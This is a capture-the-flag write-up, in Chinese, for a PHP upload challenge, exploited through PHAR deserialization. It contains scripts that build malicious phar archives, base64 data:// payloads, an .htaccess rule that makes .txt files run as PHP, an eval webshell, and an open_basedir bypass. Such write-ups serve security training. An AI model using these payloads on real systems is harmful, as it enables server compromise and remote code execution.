题目链接

访问得到源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
 <?php
class dir{
public $userdir;
public $url;
public $filename;
public function __construct($url,$filename) {
$this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
public function checkdir(){
if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
die('hacker!!!');
}
}
public function checkurl(){
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i",$r['scheme'])){
die('hacker!!!');
}
}
public function checkext(){
if (stristr($this->filename,'..')){
die('hacker!!!');
}
if (stristr($this->filename,'/')){
die('hacker!!!');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)){
die('hacker!!!');
}
}
public function upload(){
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url,NULL,NULL,0,2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)){
die('hacker!!!');
}
file_put_contents($this->userdir."/".$this->filename,$content);
}
public function remove(){
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir."/".$this->filename)){
unlink($this->userdir."/".$this->filename);
}
}
public function count($dir) {
if ($dir === ''){
$num = count(scandir($this->userdir)) - 2;
}
else {
$num = count(scandir($dir)) - 2;
}
if($num > 0) {
return "you have $num files";
}
else{
return "you don't have file";
}
}
public function __toString() {
return implode(" ",scandir(__DIR__."/".$this->userdir));
}
public function __destruct() {
$string = "your file in : ".$this->userdir;
file_put_contents($this->filename.".txt", $string);
echo $string;
}
}

if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])){
highlight_file(__FILE__);
die();
}

$dir = new dir($_POST['url'],$_POST['filename']);
if($_POST['action'] === "upload") {
$dir->upload();
}
elseif ($_POST['action'] === "remove") {
$dir->remove();
}
elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])){
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}

利用post传入的 urlfilename 创建dir对象

upload:

  1. 目录检查:是否被改
  2. url检查 :必须包含scheme,且scheme不能包含 filephp ,但没有过滤 dataphar
  3. 文件名后缀检查:不能包含ph
  4. file_get_contents 获取url中的内容并过滤,< 会被过滤,看来木马无法直接从内容上传
  5. file_put_contents 将内容存入userdir/filename

count:

展示上传目录文件数量,调用的话会发现文件会被定时删除

phar反序列化

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发

phar文件为php归档文件,相当于压缩包,可以存放多个文件,在被某些触发函数解析时 其中的MetaData会自动被反序列化(漏洞)

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

触发函数(部分)
file_get_content filectime file_exists file_get_contents
fileatime file_put_contents file filegroup
fopen fileinode unlink stat
fileowner fileperms is_dir is_executable
is_file copy stat readfile
  • $string = "your file in : ".$this->userdir; 有可能触发 __toString,查看目录信息

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    class dir{
    public $userdir;
    public $url;
    public $filename;
    }

    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"." __HALT_COMPILER(); "); //设置stub
    /**按照攻击链条构造对象***/
    $a = new dir();
    $a->userdir='../';
    $o = new dir();
    $o->userdir=$a;
    /***其余部分可作为模板***/
    $phar->setMetadata($o); //将要反序列化的对象存入meta-data
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();

    执行后生成 phar.phar文件,改为phar.gif

    上传脚本:

    1
    2
    3
    4
    5
    6
    import requests

    def getinfo(purl, filename, action):
    post_data = {"url": purl, "filename": filename, "action": action}
    response = requests.post("http://node2.anna.nssctf.cn:28055/", data=post_data)
    print(response.text)

    可以用VPS上传至服务器,然后传

    1
    getinfo('http://xx.xx.xx.xx/phar.gif', 'phar.gif', 'upload')

    或直接获取base64编码然后用data伪协议上传

    1
    2
    3
    4
    5
    6
    > base64 phar.phar
    < R0lGODlhIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86Mzoi
    ZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4v
    IjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1l
    IjtOO30IAAAAdGVzdC50eHQEAAAAZ5vUZAQAAAAMfn/YpAEAAAAAAAB0ZXN0blKehuzjSYAVLkjn
    JV2RJv5biehmVwrY/PBuUG3FIoQDAAAAR0JNQg==
    1
    2
    3
    4
    5
    6
    url='''data://image/gif;base64,R0lGODlhIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KsgAAAAEAAAARAAAAAQAAAAAAfAAAAE86Mzoi
    ZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6MzoiLi4v
    IjtzOjM6InVybCI7TjtzOjg6ImZpbGVuYW1lIjtOO31zOjM6InVybCI7TjtzOjg6ImZpbGVuYW1l
    IjtOO30IAAAAdGVzdC50eHQEAAAAZ5vUZAQAAAAMfn/YpAEAAAAAAAB0ZXN0blKehuzjSYAVLkjn
    JV2RJv5biehmVwrY/PBuUG3FIoQDAAAAR0JNQg=='''
    getinfo(url, 'phar.gif', 'upload')

    可以看到上传到目录 upload/e0ee64a13ff7a0b04333c1d51fbbeadf

  • 上传.htaccess

    1
    2
    3
    getinfo('data://text/plain;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0', '.htaccess', 'upload')
    # 内容为:AddHandler php7-script .txt
    # 因为 < 被过滤,这同样可以达到效果,将txt解释为php
  • 现在有了phar文件,可以传phar://,在file_get_contents中触发反序列化

    1
    getinfo('phar://upload/e0ee64a13ff7a0b04333c1d51fbbeadf/phar.gif', '1', 'upload')

    得到 your file in : upload/e0ee64a13ff7a0b04333c1d51fbbeadfyour file in : . .. 887a185b1a408019your file in : ../

    所以上传文件夹绝对路径为 /var/html/www/887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf

  • 现在还是通过反序列化使得此文件夹中某个文件包含木马

    1
    2
    3
    4
    5
    public function __destruct() {
    $string = "your file in : ".$this->userdir;
    file_put_contents($this->filename.".txt", $string);
    echo $string;
    }

    可见stringfilename 均可控,让 string中包含木马即可

法一:

  • 上传木马名称文件(文件名没有过滤那么严)

    1
    getinfo('data://image/gif;base64,R0lG', "<?php @eval($_POST['cmd']);?>.txt", 'upload')

    这时,当前文件夹下就包含有<?php @eval($_POST['cmd']);?>.txt,再类似前步反序列化展示文件夹下内容,然后就写到txt文件中

  • phar构造

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    class dir{
    public $userdir;
    public $url;
    public $filename;
    }

    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"." __HALT_COMPILER(); "); //设置stub
    $a = new dir();
    $a->userdir="/upload/e0ee64a13ff7a0b04333c1d51fbbeadf";
    $o = new dir();
    $o->userdir=$a;
    $o->filename="/var/www/html/887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf/webshell"; //最后会生成webshell.txt
    $phar->setMetadata($o); //将要反序列化的对象存入meta-data
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();
    ?>

    与前面操作相同

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    url = '''data://image/gif;base64,R0lGODlhIF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KLQEAAAEAAAARAAAAAQAAAAAA9wAAAE86Mzoi
    ZGlyIjozOntzOjc6InVzZXJkaXIiO086MzoiZGlyIjozOntzOjc6InVzZXJkaXIiO3M6NDA6Ii91
    cGxvYWQvZTBlZTY0YTEzZmY3YTBiMDQzMzNjMWQ1MWZiYmVhZGYiO3M6MzoidXJsIjtOO3M6ODoi
    ZmlsZW5hbWUiO047fXM6MzoidXJsIjtOO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii92YXIvd3d3L2h0
    bWwvODg3YTE4NWIxYTQwODAxOS91cGxvYWQvZTBlZTY0YTEzZmY3YTBiMDQzMzNjMWQ1MWZiYmVh
    ZGYvd2Vic2hlbGwiO30IAAAAdGVzdC50eHQEAAAATurUZAQAAAAMfn/YpAEAAAAAAAB0ZXN0Nw1j
    IHqtIaW4cyxLqtXaivqqZtUhOAJTZ2M8GgeF7DoDAAAAR0JNQg=='''

    getinfo(purl, "phar2.gif", 'upload')
    getinfo('phar://upload/e0ee64a13ff7a0b04333c1d51fbbeadf/phar2.gif', '2', 'upload')

    得到 your file in : upload/e0ee64a13ff7a0b04333c1d51fbbeadfyour file in : . .. .htaccess 1 2 <?php @eval($_POST['cmd']);?>.txt ... ,说明上传成功

    再访问887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf/webshell.txt,连接蚁剑获得flag

    直接post命令的话要进行还要绕过目录穿越限制

    1
    cmd=ini_set('open_basedir', '..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir', '/');var_dump(scandir('/'));

法二:

  • 直接在userdir处传木马

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    class dir{
    public $userdir;
    public $url;
    public $filename;
    }
    $a=new dir();
    $a->filename='/var/www/html/887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf/webshell';
    $a->userdir='<?php eval($_POST["cmd"]);?>';
    $phar=new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub('GIF89a'."__HALT_COMPILER();");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
  • < 会被过滤

    phar协议能够解压zip,gzip等压缩包,因此gzip压缩一下,gzip phar.phar,然后同样两步上传,触发序列化

    访问887a185b1a408019/upload/e0ee64a13ff7a0b04333c1d51fbbeadf/webshell.txt

⬆︎TOP